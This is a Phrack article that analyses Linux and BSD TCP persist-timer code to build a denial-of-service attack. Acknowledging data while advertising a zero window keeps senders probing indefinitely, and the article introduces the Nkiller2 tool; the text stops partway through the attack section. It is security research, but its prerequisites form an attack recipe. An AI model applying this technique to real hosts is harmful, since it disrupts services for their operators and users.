[Phrack] Exploiting TCP and the Persist Timer Infiniteness Author : ithilgore ==Phrack Inc.== Volume 0x0d, Issue 0x42, Phile #0x09 of 0x11 |=-----------------------------------------------------------------------=| |=--------=[ Exploiting TCP and the Persist Timer Infiniteness ]=--------=| |=-----------------------------------------------------------------------=| |=---------------=[ By ithilgore ]=--------------=| |=---------------=[ sock-raw.org ]=--------------=| |=---------------=[ ]=--------------=| |=---------------=[ ithilgore.ryu.L@gmail.com ]=--------------=| |=-----------------------------------------------------------------------=| ---[ Contents 1 - Introduction 2 - TCP Persist Timer Theory 3 - TCP Persist Timer implementation 3.1 - TCP Timers Initialization 3.2 - Persist Timer Triggering 3.3 - Inner workings of Persist Timer 4 - The attack 4.1 - Kernel memory exhaustion pitfalls 4.2 - Attack Vector 4.3 - Test cases 5 - Nkiller2 implementation 6 - References --[ 1 - Introduction TCP is the main protocol upon which most end-to-end communications take place, nowadays. Being introduced a lot of years ago, where security wasn't as much a concern, has left it with quite a few hanging vulnerabilities. It is not strange that many TCP implementations have deviated from the official RFCs, to provide additional protective measures and robustness. However, there are still attack vectors which can be exploited. One of them is the Persist Timer, which is triggered when the receiver advertises a TCP window of size 0. In the following text, we are going to analyse, how an old technique of kernel memory exhaustion [1] can be amplified, extended and adjusted to other forms of attacks, by exploiting the persist timer functionality. Our analysis is mainly going to focus on the Linux (2.6.18) network stack implementation, but test cases for *BSD will be included as well. The possibility of exploiting the TCP Persist Timer, was first mentioned at [2]. A proof-of-concept tool that was developed for the sole purpose of demonstrating the above attack will be presented. Nkiller2 is able to perform a generic DoS attack, completely statelessly and with almost no memory overhead, using packet-parsing techniques and virtual states. In addition, the amount of traffic created is far less than that of similar tools, due to the attack's nature. The main advantage, that makes all the difference, is the possibly unlimited prolonging of the DoS attack's impact by the exploitation of a perfectly 'expected & normal' TCP Persist Timer behaviour. --[ 2 - TCP Persist Timer theory TCP is based on many timers. One of them is the Persist Timer, which is used when the peer advertises a window of size 0. Normally, the receiver advertises a zero window, when TCP hasn't pushed the buffered data to the user application and thus the kernel buffers reach their initial advertised limit. This forces the TCP sender to stop writing data to the network, until the receiver advertises a window which has a value greater than zero. To accomplish that, the receiver sends an ACK called a window update, which has the same acknowledgment number as the one that advertised the 0 window (since no new data is effectively acknowledged). The Persist Timer is triggered when TCP gets a 0 window advertisement for the following reason: Suppose the receiver eventually pushes the data from the kernel buffers to the user application, and thus opens the window (the right edge is advanced). He then sends a window update to the sender announcing that it can now receive new data. If this window update is lost for any reason, then both ends of the connection would deadlock, since the receiver would wait for new data and the sender would wait for the now lost window update. To avoid the above situation, the sender sets the Perist Timer and if no window update has reached him until it expires, then he resends a probe to the peer. As long as the receiver keeps advertising a window of size 0, then the sender follows the process again. He sets the timer, waits for the window update and resends the probe. As long as some of the probes are acknowledged, without necessarily having to announce a new window, the process will go on ad infinitum. Examples can be found at [3]. Of course, the actual implementation is always more complicated than theory. We are going to inspect the Linux implementation of the TCP Persist Timer, watch the intricacies unfold and eventually get a fairly good perspective on what happens behind the scenes. -- [ 3 - TCP Persist Timer implementation The following code inspection will mainly focus on the implementation of the TCP Persist Timer on Linux 2.6.18. Many of the TCP kernel functions will be regarded as black-boxes, as their analysis is beyond the scope of this paper and would probably require a book by itself. ----[ 3.1 - TCP Timer Initialization Let's see when and how the main TCP timers are initialized. During the socket creation process tcp_v4_init_sock() will call tcp_init_xmit_timers() which in turn calls inet_csk_init_xmit_timers(). net/ipv4/tcp_ipv4.c: /---------------------------------------------------------------------\ /* NOTE: A lot of things set to zero explicitly by call to * sk_alloc() so need not be done here. */ static int tcp_v4_init_sock(struct sock *sk) { struct inet_connection_sock *icsk = inet_csk(sk); struct tcp_sock *tp = tcp_sk(sk); skb_queue_head_init(&tp->out_of_order_queue); tcp_init_xmit_timers(sk); /* ... */ } \---------------------------------------------------------------------/ net/ipv4/tcp_timer.c: /---------------------------------------------------------------------\ void tcp_init_xmit_timers(struct sock *sk) { inet_csk_init_xmit_timers(sk, &tcp_write_timer, &tcp_delack_timer, &tcp_keepalive_timer); } \---------------------------------------------------------------------/ As we can see, inet_csk_init_xmit_timers() is the function which actually does the work of setting up the timers. Essentially what it does, is to assign a handler function to each of the three main timers, as instructed by its arguments. setup_timer() is a simple inline function defined at "include/linux/timer.h". net/ipv4/inet_connection_sock.c: /---------------------------------------------------------------------\ /* * Using different timers for retransmit, delayed acks and probes * We may wish use just one timer maintaining a list of expire jiffies * to optimize. */ void inet_csk_init_xmit_timers(struct sock *sk, void (*retransmit_handler)(unsigned long), void (*delack_handler)(unsigned long), void (*keepalive_handler)(unsigned long)) { struct inet_connection_sock *icsk = inet_csk(sk); setup_timer(&icsk->icsk_retransmit_timer, retransmit_handler, (unsigned long)sk); setup_timer(&icsk->icsk_delack_timer, delack_handler, (unsigned long)sk); setup_timer(&sk->sk_timer, keepalive_handler, (unsigned long)sk); icsk->icsk_pending = icsk->icsk_ack.pending = 0; } \---------------------------------------------------------------------/ include/linux/timer.h: /---------------------------------------------------------------------\ static inline void setup_timer(struct timer_list * timer, void (*function)(unsigned long), unsigned long data) { timer->function = function; timer->data = data; init_timer(timer); } \---------------------------------------------------------------------/ According to the above, the timers will be initialized with the following handlers: retransmission timer -> tcp_write_timer() delayed acknowledgments timer -> tcp_delack_timer() keepalive timer -> tcp_keepalive_timer() What interests us, is the tcp_write_timer(), since as we can see from the following code, *both* the retransmission timer *and* the persist timer are initially handled by the same function before triggering the more specific ones. And there is a reason that Linux ties the two timers. net/ipv4/tcp_timer.c: /---------------------------------------------------------------------\ static void tcp_write_timer(unsigned long data) { struct sock *sk = (struct sock*)data; struct inet_connection_sock *icsk = inet_csk(sk); int event; bh_lock_sock(sk); if (sock_owned_by_user(sk)) { /* Try again later */ sk_reset_timer(sk, &icsk->icsk_retransmit_timer, jiffies + (HZ / 20)); goto out_unlock; } if (sk->sk_state == TCP_CLOSE || !icsk->icsk_pending) goto out; if (time_after(icsk->icsk_timeout, jiffies)) { sk_reset_timer(sk, &icsk->icsk_retransmit_timer, icsk->icsk_timeout); goto out; } event = icsk->icsk_pending; icsk->icsk_pending = 0; switch (event) { case ICSK_TIME_RETRANS: tcp_retransmit_timer(sk); break; case ICSK_TIME_PROBE0: tcp_probe_timer(sk); break; } TCP_CHECK_TIMER(sk); out: sk_mem_reclaim(sk); out_unlock: bh_unlock_sock(sk); sock_put(sk); } \---------------------------------------------------------------------/ Depending on the value of 'icsk->icsk_pending', then either the retransmission_timer real handler -tcp_retransmit_timer()- or the persist_timer real handler -tcp_probe_timer()- is called. ICSK_TIME_RETRANS and ICSK_TIME_PROBE0 are literals defined at "include/net/inet_connection_sock.h" and icsk_pending is an 8bit member of a type inet_sock struct which is defined in the same file. include/net/inet_connection_sock.h: /---------------------------------------------------------------------\ /** inet_connection_sock - INET connection oriented sock * * @icsk_pending: Scheduled timer event * ... * */ struct inet_connection_sock { /* inet_sock has to be the first member! */ struct inet_sock icsk_inet; /* ... */ __u8 icsk_pending; /* ...*/ } /* ... */ #define ICSK_TIME_RETRANS 1 /* Retransmit timer */ #define ICSK_TIME_DACK 2 /* Delayed ack timer */ #define ICSK_TIME_PROBE0 3 /* Zero window probe timer */ #define ICSK_TIME_KEEPOPEN 4 /* Keepalive timer */ \----------------------------------------------------------------------/ Leaving the initialization process behind, we need to see how we can trigger the TCP persist timer. ----[ 3.2 - Persist Timer Triggering Looking through the kernel code for functions that trigger/reset the timers, we fall upon inet_csk_reset_xmit_timer() which is defined at "include/net/inet_connection_sock.h" include/net/inet_connection_sock.h: /---------------------------------------------------------------------\ /* * Reset the retransmission timer */ static inline void inet_csk_reset_xmit_timer(struct sock *sk, const int what, unsigned long when, const unsigned long max_when) { struct inet_connection_sock *icsk = inet_csk(sk); if (when > max_when) { #ifdef INET_CSK_DEBUG pr_debug("reset_xmit_timer: sk=%p %d when=0x%lx, caller=%p\n", sk, what, when, current_text_addr()); #endif when = max_when; } if (what == ICSK_TIME_RETRANS || what == ICSK_TIME_PROBE0) { icsk->icsk_pending = what; icsk->icsk_timeout = jiffies + when; sk_reset_timer(sk, &icsk->icsk_retransmit_timer, icsk->icsk_timeout); } else if (what == ICSK_TIME_DACK) { icsk->icsk_ack.pending |= ICSK_ACK_TIMER; icsk->icsk_ack.timeout = jiffies + when; sk_reset_timer(sk, &icsk->icsk_delack_timer, icsk->icsk_ack.timeout); } #ifdef INET_CSK_DEBUG else { pr_debug("%s", inet_csk_timer_bug_msg); } #endif } \----------------------------------------------------------------------/ An assignment to 'icsk->icsk_pending' is made according to the argument 'what'. Note the ambiguity of the comment mentioning that the retransmission timer is reset. Essentially, however, either the persist timer or the retransmission can be reset through this function. In addition, the delayed acknowledgement timer, which won't interest us, can be reset through the ICSK_TIME_DACK value. So, whenever inet_csk_reset_xmit_timer() is called, it sets the corresponding timer, as instructed by argument 'what', to fire up after time 'when' (which must be less or equal than 'max_when') has passed. jiffies is a global variable which shows the current system uptime in terms of clock ticks A good reference, on how timers in general are managed, is [4]. A caller function which sets the argument 'what' as ICSK_TIME_PROBE0 is tcp_check_probe_timer(). include/net/tcp.h: /---------------------------------------------------------------------\ static inline void tcp_check_probe_timer(struct sock *sk, struct tcp_sock *tp) { const struct inet_connection_sock *icsk = inet_csk(sk); if (!tp->packets_out && !icsk->icsk_pending) inet_csk_reset_xmit_timer(sk, ICSK_TIME_PROBE0, icsk->icsk_rto, TCP_RTO_MAX); } \----------------------------------------------------------------------/ We face two problems before the persist timer can be triggered. First we need to pass the check of the if condition in tcp_check_probe_timer(): if (!tp->packets_out && !icsk->icsk_pending) tp->packets_out denotes if any packets are in flight and have not yet been acknowledged. This means that the advertisement of a 0 window must happen after any data we have received has been acknowledged by us (as the receiver) and before the sender starts transmitting any new data. The fact that icsk->icsk_pending should be, 0 denotes that any other timer has to already have been cleared. This can happen through the function inet_csk_clear_xmit_timer() which in our case can be called by tcp_ack_packets_out() which is called by tcp_clean_rtx_queue() which is called by tcp_ack() which is the main function that deals with incoming acks. tcp_ack() is called by tcp_rcv_established(), in turn called by tcp_v4_do_rcv(). The only limitation again for tcp_ack_packets_out() to call the timer clearing function, is that 'tp->packets_out' should be 0. net/include/inet_connection_sock.h /---------------------------------------------------------------------\ static inline void inet_csk_clear_xmit_timer(struct sock *sk, const int what) { struct inet_connection_sock *icsk = inet_csk(sk); if (what == ICSK_TIME_RETRANS || what == ICSK_TIME_PROBE0) { icsk->icsk_pending = 0; #ifdef INET_CSK_CLEAR_TIMERS sk_stop_timer(sk, &icsk->icsk_retransmit_timer); #endif /* ... */ } \----------------------------------------------------------------------/ net/ipv4/tcp_input.c /---------------------------------------------------------------------\ static void tcp_ack_packets_out(struct sock *sk, struct tcp_sock *tp) { if (!tp->packets_out) { inet_csk_clear_xmit_timer(sk, ICSK_TIME_RETRANS); } else { inet_csk_reset_xmit_timer(sk, ICSK_TIME_RETRANS, inet_csk(sk)->icsk_rto, TCP_RTO_MAX); } } /* ... */ /* Remove acknowledged frames from the retransmission queue. */ static int tcp_clean_rtx_queue(struct sock *sk, __s32 *seq_rtt_p) { /* ... */ if (acked&FLAG_ACKED) { tcp_ack_update_rtt(sk, acked, seq_rtt); tcp_ack_packets_out(sk, tp); /* ... */ } /* ... */ } /* ... */ /* This routine deals with incoming acks, but not outgoing ones. */ static int tcp_ack(struct sock *sk, struct sk_buff *skb, int flag) { /* ... */ /* See if we can take anything off of the retransmit queue. */ flag |= tcp_clean_rtx_queue(sk, &seq_rtt); /* ... */ } \----------------------------------------------------------------------/ The only caller for tcp_check_probe_timer() is __tcp_push_pending_frames() which has tcp_push_pending_frames as its wrapper function. tcp_push_sending_frames() is called by tcp_data_snd_check() which is called by tcp_rcv_established() which as we saw above calls tcp_ack() as well. include/net/tcp.h: /---------------------------------------------------------------------\ void __tcp_push_pending_frames(struct sock *sk, struct tcp_sock *tp, unsigned int cur_mss, int nonagle) { struct sk_buff *skb = sk->sk_send_head; if (skb) { if (tcp_write_xmit(sk, cur_mss, nonagle)) tcp_check_probe_timer(sk, tp); } } /* ... */ static inline void tcp_push_pending_frames(struct sock *sk, struct tcp_sock *tp) { __tcp_push_pending_frames(sk, tp, tcp_current_mss(sk, 1), tp->nonagle); } \----------------------------------------------------------------------/ Another problem here is that we have to make tcp_write_xmit() return a value different than 0. According to the comments and the last line of the function, the only way to return 1 is by having no packets unacknowledged (which are in flight) and additionally by having more packets that need to be sent on queue. This means that the data we requested needs to be larger than the initial mss, so that at least 2 packets are needed to be sent. The first will be acknowledged by us advertising a zero window at the same time, and after that, there will still be at least 1 packet left in the sender queue. There is also the chance, that we advertise a zero window before the sender even starts sending any data, just after the connection establishment phase, but we will see later that this is not a really good practice. net/ipv4/tcp_output.c: /---------------------------------------------------------------------\ /* This routine writes packets to the network. It advances the * send_head. This happens as incoming acks open up the remote * window for us. * * Returns 1, if no segments are in flight and we have queued segments, * but cannot send anything now because of SWS or another problem. */ static int tcp_write_xmit(struct sock *sk, unsigned int mss_now, int nonagle) { struct tcp_sock *tp = tcp_sk(sk); struct sk_buff *skb; unsigned int tso_segs, sent_pkts; int cwnd_quota; int result; /* If we are closed, the bytes will have to remain here. * In time closedown will finish, we empty the write queue and * all will be happy. */ if (unlikely(sk->sk_state == TCP_CLOSE)) return 0; sent_pkts = 0; /* Do MTU probing. */ if ((result = tcp_mtu_probe(sk)) == 0) { return 0; } else if (result > 0) { sent_pkts = 1; } while ((skb = sk->sk_send_head)) { unsigned int limit; tso_segs = tcp_init_tso_segs(sk, skb, mss_now); BUG_ON(!tso_segs); cwnd_quota = tcp_cwnd_test(tp, skb); if (!cwnd_quota) break; if (unlikely(!tcp_snd_wnd_test(tp, skb, mss_now))) break; if (tso_segs == 1) { if (unlikely(!tcp_nagle_test(tp, skb, mss_now, (tcp_skb_is_last(sk, skb) ? nonagle : TCP_NAGLE_PUSH)))) break; } else { if (tcp_tso_should_defer(sk, tp, skb)) break; } limit = mss_now; if (tso_segs > 1) { limit = tcp_window_allows(tp, skb, mss_now, cwnd_quota); if (skb->len < limit) { unsigned int trim = skb->len % mss_now; if (trim) limit = skb->len - trim; } } if (skb->len > limit && unlikely(tso_fragment(sk, skb, limit, mss_now))) break; TCP_SKB_CB(skb)->when = tcp_time_stamp; if (unlikely(tcp_transmit_skb(sk, skb, 1, GFP_ATOMIC))) break; /* Advance the send_head. This one is sent out. * This call will increment packets_out. */ update_send_head(sk, tp, skb); tcp_minshall_update(tp, mss_now, skb); sent_pkts++; } if (likely(sent_pkts)) { tcp_cwnd_validate(sk, tp); return 0; } return !tp->packets_out && sk->sk_send_head; } \----------------------------------------------------------------------/ Looking through tcp_write_xmit(), we can deduce that the only way to make it return a value different than 0, is by reaching the last line and at the same meeting the above two requirements. Consequently, we need to break from the while loop before 'sent_pkts' is increased so that the if condition which calls tcp_cwnd_validate() and then causes the function to return 0, fails the check. The key is these two lines: if (unlikely(!tcp_snd_wnd_test(tp, skb, mss_now))) break; tcp_snd_wnd_test() is defined as follows: net/ipv4/tcp_output.c /---------------------------------------------------------------------\ /* Does at least the first segment of SKB fit into the send window? */ static inline int tcp_snd_wnd_test(struct tcp_sock *tp, struct sk_buff *skb, unsigned int cur_mss) { u32 end_seq = TCP_SKB_CB(skb)->end_seq; if (skb->len > cur_mss) end_seq = TCP_SKB_CB(skb)->seq + cur_mss; return !after(end_seq, tp->snd_una + tp->snd_wnd); } \---------------------------------------------------------------------/ To clarify a few things, here is an excerpt from tcp.h which defines the macro 'after' and the members of struct tcp_skb_cb which are used inside tcp_snd_wnd_test(). include/net/tcp.h: /---------------------------------------------------------------------\ /* * The next routines deal with comparing 32 bit unsigned ints * and worry about wraparound (automatic with unsigned arithmetic). */ static inline int before(__u32 seq1, __u32 seq2) { return (__s32)(seq1-seq2) < 0; } #define after(seq2, seq1) before(seq1, seq2) /* ... */ struct tcp_skb_cb { union { struct inet_skb_parm h4; #if defined(CONFIG_IPV6) || defined (CONFIG_IPV6_MODULE) struct inet6_skb_parm h6; #endif } header; /* For incoming frames */ __u32 seq; /* Starting sequence number */ __u32 end_seq; /* SEQ + FIN + SYN + datalen */ /* ... */ __u32 ack_seq; /* Sequence number ACK'd */ }; #define TCP_SKB_CB(__skb) ((struct tcp_skb_cb *)&((__skb)->cb[0])) \---------------------------------------------------------------------/ So, in theory we need the sequence number which is derived from the sum of the current sequence number + the datalength, to be more than the sum of the number of unacknowledged data + the send window. A diagram from RFC 793 helps clear out some things: 1 2 3 4 ----------|----------|----------|---------- SND.UNA SND.NXT SND.UNA +SND.WND 1 - old sequence numbers which have been acknowledged 2 - sequence numbers of unacknowledged data 3 - sequence numbers allowed for new data transmission 4 - future sequence numbers which are not yet allowed In practice, the fact the we, as receivers, just advertised a window of size 0, makes the snd_wnd 0, which in turn leads the above check in succeeding. Things just work by themselves here. For completeness, we mention that the window is updated by calling the function tcp_ack_update_window() (caller is tcp_ack()) which in turns updates the tp->snd_wnd variable if the window update is a valid one, something which is checked by tcp_may_update_window(). net/ipv4/tcp_input.c /---------------------------------------------------------------------\ /* Check that window update is acceptable. * The function assumes that snd_una<=ack<=snd_next. */ static inline int tcp_may_update_window(const struct tcp_sock *tp, const u32 ack, const u32 ack_seq, const u32 nwin) { return (after(ack, tp->snd_una) || after(ack_seq, tp->snd_wl1) || (ack_seq == tp->snd_wl1 && nwin > tp->snd_wnd)); } /* ... */ /* Update our send window. * * Window update algorithm, described in RFC793/RFC1122 (used in * linux-2.2 and in FreeBSD. NetBSD's one is even worse.) is wrong. */ static int tcp_ack_update_window(struct sock *sk, struct tcp_sock *tp, struct sk_buff *skb, u32 ack, u32 ack_seq) { int flag = 0; u32 nwin = ntohs(skb->h.th->window); if (likely(!skb->h.th->syn)) nwin <<= tp->rx_opt.snd_wscale; if (tcp_may_update_window(tp, ack, ack_seq, nwin)) { flag |= FLAG_WIN_UPDATE; tcp_update_wl(tp, ack, ack_seq); if (tp->snd_wnd != nwin) { tp->snd_wnd = nwin; /* ... */ } } tp->snd_una = ack; return flag; } \---------------------------------------------------------------------/ Let's now summarize the above with a graphical representation. attacker <-------- data --------- sender attacker ---- ACK(data), win0 --> sender What happens on the sender side: tcp_v4_do_rcv() | |--> tcp_rcv_established() | |--> tcp_ack() | | | |--> tcp_ack_update_window() | | | | | |--> tcp_may_update_window() | | | |--> tcp_clean_rtx_queue() | | | |--> tcp_ack_packets_out() | | | |--> inet_csk_clear_xmit_timer() | |--> tcp_data_snd_check() | |--> tcp_push_sending_frames() | |--> __tcp_push_sending_frames() | |--> tcp_write_xmit() | | | |--> tcp_snd_wnd_test() | |--> tcp_check_probe_timer() | |--> inet_csk_reset_xmit_timer() Time to move on to the more specific internals of the TCP Persist Timer itself. ----[ 3.3 - Inner workings of Persist Timer tcp_probe_timer() is the actual handler for the TCP persist timer so we are going to focus on this one for a while. net/ipv4/tcp_timer.c /---------------------------------------------------------------------\ static void tcp_probe_timer(struct sock *sk) { struct inet_connection_sock *icsk = inet_csk(sk); struct tcp_sock *tp = tcp_sk(sk); int max_probes; if (tp->packets_out || !sk->sk_send_head) { icsk->icsk_probes_out = 0; return; } /* *WARNING* RFC 1122 forbids this * * It doesn't AFAIK, because we kill the retransmit timer -AK * * FIXME: We ought not to do it, Solaris 2.5 actually has fixing * this behaviour in Solaris down as a bug fix. [AC] * * Let me to explain. icsk_probes_out is zeroed by incoming ACKs * even if they advertise zero window. Hence, connection is killed * only if we received no ACKs for normal connection timeout. It is * not killed only because window stays zero for some time, window * may be zero until armageddon and even later. We are in full * accordance with RFCs, only probe timer combines both * retransmission timeout and probe timeout in one bottle. --ANK */ max_probes = sysctl_tcp_retries2; if (sock_flag(sk, SOCK_DEAD)) { const int alive = ((icsk->icsk_rto << icsk->icsk_backoff) < TCP_RTO_MAX); max_probes = tcp_orphan_retries(sk, alive); if (tcp_out_of_resources(sk, alive || icsk->icsk_probes_out <= max_probes)) return; } if (icsk->icsk_probes_out > max_probes) { tcp_write_err(sk); } else { /* Only send another probe if we didn't close things up. */ tcp_send_probe0(sk); } } \---------------------------------------------------------------------/ Commenting on the comments, we stand before a kernel developer disagreement on whether or not the implementation deviates from RFC 1122 (Requirements for Internet Hosts - Communication Layers). The most outstanding point, however, is this remark: "It is not killed only because window stays zero for some time, window may be zero until armageddon and even later." Indeed, this is part of what we are going to exploit. We shall take advantage of a perfectly 'normal' TCP behaviour, for our own purpose. Let's see how this works: 'max_probes' is assigned the value of 'sysctl_tcp_retries2' which is actually a userspace-controlled variable from /proc/sys/net/ipv4/tcp_retries2 and which usually defaults to 15. There are two cases from now on. First case: SOCK_DEAD -> The socket is "dead" or "orphan" which usually happens when the state of the connection is FIN_WAIT_1 or any other terminating state from the TCP state transition diagram (RFC 793). In this case, 'max_probes' gets the value from tcp_orphan_retries() which is defined as follows: net/ipv4/tcp_timer.c: /---------------------------------------------------------------------\ /* Calculate maximal number or retries on an orphaned socket. */ static int tcp_orphan_retries(struct sock *sk, int alive) { int retries = sysctl_tcp_orphan_retries; /* May be zero. */ /* We know from an ICMP that something is wrong. */ if (sk->sk_err_soft && !alive) retries = 0; /* However, if socket sent something recently, select some safe * number of retries. 8 corresponds to >100 seconds with minimal * RTO of 200msec. */ if (retries == 0 && alive) retries = 8; return retries; \---------------------------------------------------------------------/ The 'alive' variable is calculated from this line: const int alive = ((icsk->icsk_rto << icsk->icsk_backoff) < TCP_RTO_MAX); TCP_RTO_MAX is the maximum value the retransmission timeout can get and is defined at: include/net/tcp.h: /---------------------------------------------------------------------\ #define TCP_RTO_MAX ((unsigned)(120*HZ)) \---------------------------------------------------------------------/ HZ is the tick rate frequency of the system, which means a period of 1/HZ seconds is assumed. Regardless of the value of HZ (which is varies from one architecture to another), anything that is multiplied by it, is transformed to a product of seconds [4]. For example, 120*HZ is translated to 120 seconds since we are going to have HZ timer interrupts per second. Consequently, if the retransmission timeout is less than the maximum allowed value of 2 minutes, then 'alive' = 1 and tcp_orphan_retries will return 8, even if sysctl_tcp_orphan_retries is defined as 0 (which is usually the case as one can see from the proc virtual filesystem: /proc/sys/net/ipv4/tcp_orphan_retries). Keep in mind, however that the RTO (retransmission timeout) is a dynamically computed value, varying when, for example, traffic congestion occurs. Practically, the case of a socket being dead is when the user application has been requested a small amount of data from the peer. It can then write the data all at once and issue a close(2) on the socket. This will result on a transition from TCP_ESTALISHED to TCP_FIN_WAIT_1. Normally and according to RFC 793, the state FIN_WAIT_1 automatically involves sending a FIN (doing an active close) to the peer. However Linux breaks the official TCP state machine, and will queue this small amount of data, sending the FIN only when all of it has been acknowledged. net/ipv4/tcp.c: /---------------------------------------------------------------------\ void tcp_close(struct sock *sk, long timeout) { /* ... */ /* RED-PEN. Formally speaking, we have broken TCP state * machine. State transitions: * * TCP_ESTABLISHED -> TCP_FIN_WAIT1 * TCP_SYN_RECV -> TCP_FIN_WAIT1 (forget it, it's impossible) * TCP_CLOSE_WAIT -> TCP_LAST_ACK * * are legal only when FIN has been sent (i.e. in window), * rather than queued out of window. Purists blame. * * F.e. "RFC state" is ESTABLISHED, * if Linux state is FIN-WAIT-1, but FIN is still not sent. * F.e. "RFC state" is ESTABLISHED, * if Linux state is FIN-WAIT-1, but FIN is still not sent. * ... */ /* ... */ } \---------------------------------------------------------------------/ Second Case: socket not dead -> in this case 'max_probes' keeps having the default value from 'tcp_retries2'. 'icsk->icsk_probes_out' stores the number of zero window probes so far. Its value is compared to 'max_probes' and if greater, tcp_write_err() is called, which will shutdown the corresponding socket (TCP_CLOSE state). If not, then a zero window probe is sent with tcp_send_probe0(). if (icsk->icsk_probes_out > max_probes) { tcp_write_err(sk); } else { /* Only send another probe if we didn't close things up. */ tcp_send_probe0(sk); One important factor here is the 'icsk_probes_out' "regeneration" which takes place whenever we send an ACK, regardless of whether this ACK opens the window or keeps it zero. tcp_ack() from tcp_input.c has a line which assigns 0 to 'icsk_probes_out': no_queue: icsk->icsk_probes_out = 0; We mentioned earlier that the TCP Retransmission Timer functionality is loosely tied to the Persist Timer. Indeed, the connecting "circle" between them is the 'tcp_retries2' variable. Also, remember the comment from above: /* ... * We are in full accordance with RFCs, only probe timer combines both * retransmission timeout and probe timeout in one bottle. --ANK */ tcp_retransmit_timer() calls tcp_write_timeout(), as part of it's checking procedures, which in turns follows a logic similar to the one we saw above in the Persist Timer paradigm. We can see that 'tcp_retries2' plays a major role here, too. net/ipv4/tcp_timer.c: /---------------------------------------------------------------------\ /* * The TCP retransmit timer. */ static void tcp_retransmit_timer(struct sock *sk) { /* ... */ ` if (tcp_write_timeout(sk)) goto out; /* ... */ } /* ... */ /* A write timeout has occurred. Process the after effects. */ static int tcp_write_timeout(struct sock *sk) { /* ... */ retry_until = sysctl_tcp_retries2; if (sock_flag(sk, SOCK_DEAD)) { const int alive = (icsk->icsk_rto < TCP_RTO_MAX); retry_until = tcp_orphan_retries(sk, alive); if (tcp_out_of_resources(sk, alive || icsk->icsk_retransmits < retry_until)) return 1; } } if (icsk->icsk_retransmits >= retry_until) { /* Has it gone just too far? */ tcp_write_err(sk); return 1; } \---------------------------------------------------------------------/ The idea of combining the two timer algorithms is also mentioned in RFC 1122. Specifically, Section 4.2.2.17 - Probing Zero Windows states: "This procedure minimizes delay if the zero-window condition is due to a lost ACK segment containing a window-opening update. Exponential backoff is recommended, possibly with some maximum interval not specified here. This procedure is similar to that of the retransmission algorithm, and it may be possible to combine the two procedures in the implementation." In addition, both OpenBSD and FreeBSD follow the notion of the timer timeout combination. We can see this from the code excerpt below (OpenBSD 4.4). sys/netinet/tcp_timer.c: /---------------------------------------------------------------------\ void tcp_timer_persist(void *arg) { struct tcpcb *tp = arg; uint32_t rto; int s; s = splsoftnet(); if ((tp->t_flags & TF_DEAD) || TCP_TIMER_ISARMED(tp, TCPT_REXMT)) { splx(s); return; } tcpstat.tcps_persisttimeo++; /* * Hack: if the peer is dead/unreachable, we do not * time out if the window is closed. After a full * backoff, drop the connection if the idle time * (no responses to probes) reaches the maximum * backoff that we would use if retransmitting. */ rto = TCP_REXMTVAL(tp); if (rto < tp->t_rttmin) rto = tp->t_rttmin; if (tp->t_rxtshift == TCP_MAXRXTSHIFT && ((tcp_now - tp->t_rcvtime) >= tcp_maxpersistidle || (tcp_now - tp->t_rcvtime) >= rto * tcp_totbackoff)) { tcpstat.tcps_persistdrop++; tp = tcp_drop(tp, ETIMEDOUT); goto out; } tcp_setpersist(tp); tp->t_force = 1; (void) tcp_output(tp); tp->t_force = 0; out: splx(s); } \---------------------------------------------------------------------/ This of course doesn't mean that the timers are connected in any other way. In fact, they are mutually exclusive, as when one of them is set the other is cleared. Summing up, to successfully trigger and later exploit the Persist Timer the following prerequisites need to be met: a) The amount of data requested needs to be big enough so that the userspace application cannot write the data all at once and issue a close(2), thus going into FIN_WAIT_1 state and marking the socket as SOCK_DEAD. Assuming the default value of 'tcp_retries2', we need to send an ACK (still advertising a 0 window though) at least every less than 15 persist timer probes. This will be long enough to reset 'icsk_probes_out' back to zero and thus avoid the tcp_write_err() pitfall. c) The zero window advertisement will have to take place immediately after acknowledging all the data in transit. This, of course, may include piggybacking the ACK of the data, with the window advertisement. It is now time to dive into the nitty-gritty details of the attack. -- [ 4 - The attack We are going to analyse the attack steps along with a tool that automates the whole procedure, Nkiller2. Nkiller2 is a major expansion of the original Nkiller I had written some time ago and which was based on the idea at [1]. Nkiller2 takes the attack to another level, that we shall discuss shortly. ---- [ 4.1 - Kernel memory exhaustion pitfalls The idea presented at [1] was, at the time it was published, an almost deadly attack. Netkill's purpose was to exhaust the available kernel memory by issuing multiple requests that would go unanswered on the receiver's end as far as the ACKing of the data was concerned. These requests would hopefully involve the sending of a small amount of data, such that the user application would write the data all at once, issue a close(2) call and move on to serve the rest of the requests. As we mentioned before, as long as the application has closed the socket, the TCP state is going to become FIN_WAIT_1 in which the socket is marked as orphan, meaning it is detached from the userspace and doesn't anymore clog the connection queue. Hence, a rather big number of such requests can be made without being concerned that the user application will run out of available connection slots. Each request will partially fill the corresponding kernel buffers, thus bringing the system down to its knees after no more kernel memory is available. However, the idea behind Netkill no longer poses a threat to modern network stack implementations. Most of them provide mechanisms that nullify the attack's potential by instantly killing any orphan sockets, in case of urgent need of memory. For example, Linux calls a specific handler, tcp_out_of_recources(), which deals with such situations. net/ipv4/tcp_timer.c: /---------------------------------------------------------------------\ /* Do not allow orphaned sockets to eat all our resources. * This is direct violation of TCP specs, but it is required * to prevent DoS attacks. It is called when a retransmission timeout * or zero probe timeout occurs on orphaned socket. * * Criteria is still not confirmed experimentally and may change. * We kill the socket, if: * 1. If number of orphaned sockets exceeds an administratively configured * limit. * 2. If we have strong memory pressure. */ static int tcp_out_of_resources(struct sock *sk, int do_reset) { struct tcp_sock *tp = tcp_sk(sk); int orphans = atomic_read(&tcp_orphan_count); /* If peer does not open window for long time, or did not transmit * anything for long time, penalize it. */ if ((s32)(tcp_time_stamp - tp->lsndtime) > 2*TCP_RTO_MAX || !do_reset) orphans <<= 1; /* If some dubious ICMP arrived, penalize even more. */ if (sk->sk_err_soft) orphans <<= 1; if (orphans >= sysctl_tcp_max_orphans || (sk->sk_wmem_queued > SOCK_MIN_SNDBUF && atomic_read(&tcp_memory_allocated) > sysctl_tcp_mem[2])) { if (net_ratelimit()) printk(KERN_INFO "Out of socket memory\n"); /* Catch exceptional cases, when connection requires reset. * 1. Last segment was sent recently. */ if ((s32)(tcp_time_stamp - tp->lsndtime) <= TCP_TIMEWAIT_LEN || /* 2. Window is closed. */ (!tp->snd_wnd && !tp->packets_out)) do_reset = 1; if (do_reset) tcp_send_active_reset(sk, GFP_ATOMIC); tcp_done(sk); NET_INC_STATS_BH(LINUX_MIB_TCPABORTONMEMORY); return 1; } return 0; } \---------------------------------------------------------------------/ The comments and the code speak for themselves. tcp_done() 